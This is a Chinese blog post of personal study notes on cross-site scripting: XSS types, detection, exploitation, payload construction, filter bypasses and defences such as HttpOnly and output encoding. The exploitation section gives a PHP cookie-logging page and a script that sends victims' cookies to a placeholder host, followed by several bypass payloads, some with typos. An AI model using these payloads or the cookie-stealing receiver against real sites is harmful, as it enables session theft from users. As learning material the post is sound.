XSS学习

原创

seeicb 于 2019-05-20 22:40:05 发布 176 收藏

分类专栏： web安全

本文链接：https://blog.csdn.net/u014578907/article/details/88411938

---

title: XSS学习
date: 2016-04-03 20:35:43
categories: 安全
tags: [Web安全,XSS]

一、XSS原理

xss即 跨站脚本攻击(Cross Site Scripting)，是指攻击者在页面中插入恶意的Script脚本，当用户浏览页面时，插入其中的Script脚本会被执行，从而达到攻击的目的。

例如：

```
<?php
$name = $_GET['name'];
echo "Welcome".$name;
?>
```

在此页面中，当我们输入`<script>alert('xss')</script>`,就会弹出xss警告框。这只是最简单的应用，理论上javascript可以做的事，xss都可以达到。

所以XSS可以用来获取用户的cookie，挂马，蠕虫等等

二、XSS分类

XSS分为3类

反射型XSS

反射型XSS,即把恶意构造的数据'反射'给浏览器，由浏览器解析后造成漏洞，需要用户浏览带有XSS代码的url才可以攻击成功。也称为非持久性XSS。

如先前的例子中所示，构造一个链接`http://xxx.com/index.html?<script>alert('xss')</script>`发送给被攻击对象，当用户点击此链接时就会被攻击。

持久型XSS

存储型XSS也被称为持久型XSS，当攻击者输入一段恶意脚本后，被服务端接受保存，当用户访问这个页面时，恶意脚本就会被执行，从而造成漏洞。下次不用再输入XSS代码，持久型XSS比较隐蔽，不需要刻意触发。

DOM XSS

DOM即文档对象模型（Document Object Model），DOM可以通过JavaScript，重构整个 HTML 文档。
通过修改页面的DOM节点形成的XSS，称之为DOM XSS。
例如：

```
var index=document.URL.indexOf("xss=")+4;
document.write(decodeURI(document.URL.substring(index)))
```

document.URL.indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。+4是略去'xss='
document.URL是获取URL地址。
Substring() 方法用于提取字符串中介于两个指定下标之间的字符，在此处即提取'xss='后面的内容。
decodeURI函数可对编码过的 URI 进行解码

当点击链接`http://xxx.com/index.html?xss=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E`之时，就会产生弹出XSS。

三、XSS攻击

1.XSS检测

(1)、手工检测

尝试输入`< > " ' ()`等，查看源代码是否被转义，如果没有被转义，则有可能会有漏洞。总之，就是查看输入特殊字符有没有过滤。
不知道输出在何处时，就需要不断测试了
普通注入：`<script>alert('xss')</script>`
闭合标签注入：`/><script>alert('xss')</script>`
闭合标签注入：`</textarea><script>alert('xss')</script>`

(2)、工具检测

绝大多数综合扫描工具都可以检测XSS漏洞，如AWVS，APPSCAN，Netsparker等等，也可以使用专业的XSS扫描工具。如XSSER，XSSF等。
xsser参考 http://blog.csdn.net/ronghua_liu/article/details/6148951
xssf参考 http://my.oschina.net/u/1188877/blog/282206?fromerr=w7ynQiSF
此外还有fuzz测试。Fuzz Testing（模糊测试）是一种测试方法，即构造一系列无规则的"坏"数据插入应用程序，判断程序是否出现异常，以发现潜在的bug。
参考https://security.tencent.com/index.php/blog/msg/28
http://www.z7ys.com/31002.html

2.XSS利用

利用javascipt可以读取当前cookie。输入`<script>alert(document.cookie)</script>`会弹出cookie
如何获取用户cookie。参考http://www.2cto.com/Article/201302/190742.html
简单的构造如下：
首先创建接受页面：

```
<?php
$cookie = $_GET['msg'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><
br><br>');
fclose($fp);
?>
```

将其保存为xss.php

然后在XSS漏洞处插入

```
<script>document.location="http://xxx.com/xss.php?msg="+document.cookie;</script>
```

其中xxx.com为你的接受地址。

获取cookie也可以使用一些xss平台。如XSS platform。http://www.webxss.cn/ 是一个免费的XSS平台。

其中有很多模块，非常方便,如图。

搭建过程参考http://www.2cto.com/Article/201308/239747.html

此外XSS也可以用来钓鱼，蠕虫攻击等。

3.XSS构造

利用img标签

```
<img scr=1 onerror=alert('xss')>
```

利用链接

```
<a href=javascrip:alert('xss')>s</a>
```

利用iframe变迁

```
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
```

利用iframe的scr来弹窗

```
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
```

绕过技巧

改变大小写，如 `<sCRipt>alert('xss')</sCRipt>`

嵌套使用 `<scr<script>ipt>alert(1)</scr<script>ipt>`

还可以利用编码进行绕过，如

```
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
```

关于编码和绕过的更多内容，参考：

http://drops.wooyun.org/tips/689

http://drops.wooyun.org/tips/845

四、XSS防御

1、http-only

http-only并不能防御xss,但可以保护用户cookie。

cookie格式

Set－Cookie: NAME=VALUE；Domain=DOMAIN_NAME；Path=PATH；Expires=DATE；HttpOnly；SECURE

当设置了http-only时，客户端脚本就无法读写cookie。

2、输入过滤

1.可以设置黑名单的方式，如过滤 `<` `>` `"` `'` `&` 等特殊字符。过滤 `<script>`, `javascrip` 等字符。

2.也可以使用php中htmlspecialchars()，htmlentities()函数把预定义的字符转换为 HTML 实体。 javascript的编码方式可以使用javascripEncode

3.也可以使用OWASP ESAPI，JSOUP进行防御，不需要自己再去实现。

** 参考 **

- 《Web安全深度剖析》
- 《白帽子讲Web安全》
- wooyun知识库 http://drops.wooyun.org/
- freebuf http://www.freebuf.com/articles/44481.html

感觉同SQL注入一样，学习的过程中，发现XSS的内容还是很多，有点驾驭不住，只能记录一些基础的知识。关于编码和绕过那一块，还是有些没看明白。需要比较好的js能力。另外还有各种标签中的输入，浏览器的差异。比如我在测试过程中发现，在chrome浏览器中打开xss链接就无法成功，但是在firefox中就可以，应该是chrome做了防御。还有dom xss的内容，也只是了解了大概。

再看了一下XSS挑战赛writeup http://drops.wooyun.org/tips/3059 ，顿时感觉不好了。